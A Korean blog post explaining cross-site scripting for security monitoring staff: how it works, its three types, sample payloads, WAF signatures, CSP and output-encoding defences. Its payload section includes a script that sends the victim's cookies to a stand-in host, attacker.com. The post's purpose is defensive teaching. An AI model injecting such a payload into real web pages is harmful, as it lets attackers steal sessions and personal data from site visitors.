반응형

**XSS(Cross-Site Scripting)**를 SQL Injection처럼 실무 관점에서 정리해줄게.
웹 보안관제 담당자 기준으로 원리 → 예시 Payload → WAF/방어 방법까지 다 포함했어.


🔥 1. XSS(Cross-Site Scripting) 개념

정의:
XSS는 공격자가 악성 스크립트를 웹 페이지에 삽입해, 다른 사용자의 브라우저에서 실행되도록 만드는 공격이야.

쉽게 말하면:

  • 공격자는 사용자가 보는 웹 페이지를 조작
  • 브라우저에서 쿠키·세션·개인정보 탈취, 피싱, 악성 동작 수행 가능

🔹 2. XSS 공격 원리

 
[공격자][웹 애플리케이션 입력 필드][DB/페이지 저장][사용자 브라우저 실행]
  • 사용자가 입력값 검증 없는 댓글, 검색, 게시판 등을 방문하면 스크립트 실행
  • 피해자는 자신의 브라우저에서 악성 JS가 실행되는 것을 인지 못함

🔹 3. XSS 종류

종류특징예시
Stored XSS (Persistent) DB/서버에 악성 스크립트 저장 게시판, 댓글, 블로그 글
Reflected XSS URL/폼 입력값 그대로 반환 검색, 로그인 에러 메시지
DOM-based XSS 클라이언트 측 JS가 DOM을 잘못 처리 JS에서 innerHTML로 사용자 입력 반영

🔹 4. 실무 Payload 예시

1) Alert 테스트

 
<script>alert('XSS')</script>

2) 쿠키 탈취

 
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

3) Reflected XSS

 
https://example.com/search?q=<script>alert('XSS')</script>

4) DOM-based XSS

 
document.getElementById('output').innerHTML = location.hash.substring(1)

🔹 5. WAF/보안관제 대응

1) 시그니처 기반 차단

  • <script>
  • onerror=
  • javascript:
  • eval(
  • URL 인코딩 패턴 %3Cscript%3E

2) 입력값 필터링 / 인코딩

  • HTML Encode / Escape < > ' " &
  • Attribute, URL, JS 컨텍스트 별 인코딩 적용

3) Content Security Policy(CSP)

  • 특정 도메인만 스크립트 로딩 허용
  • inline script/unsafe-eval 제한

4) Reflected/Stored 감지

  • 게시판, 검색, 입력 필드에서 공격 패턴 탐지
  • 반복 공격 시 IP 차단

🔹 6. 개발 단계 방어

  • 입력값 검증: 허용된 문자만 허용(Whitelist)
  • 출력 시 Escape 처리: HTML, JS, URL Context
  • JS 내 innerHTML, document.write 사용 최소화
  • 라이브러리 사용: DOMPurify, OWASP ESAPI
 
// 예: DOMPurify 사용 let clean = DOMPurify.sanitize(userInput); document.getElementById('output').innerHTML = clean;

🎯 한 문장 요약

XSS = 공격자가 삽입한 악성 스크립트가 다른 사용자의 브라우저에서 실행되어 쿠키 탈취, 피싱, 악성 동작을 수행하는 공격이며, WAF 탐지와 입력값 검증, CSP 적용으로 방어 가능하다.

반응형

+ Recent posts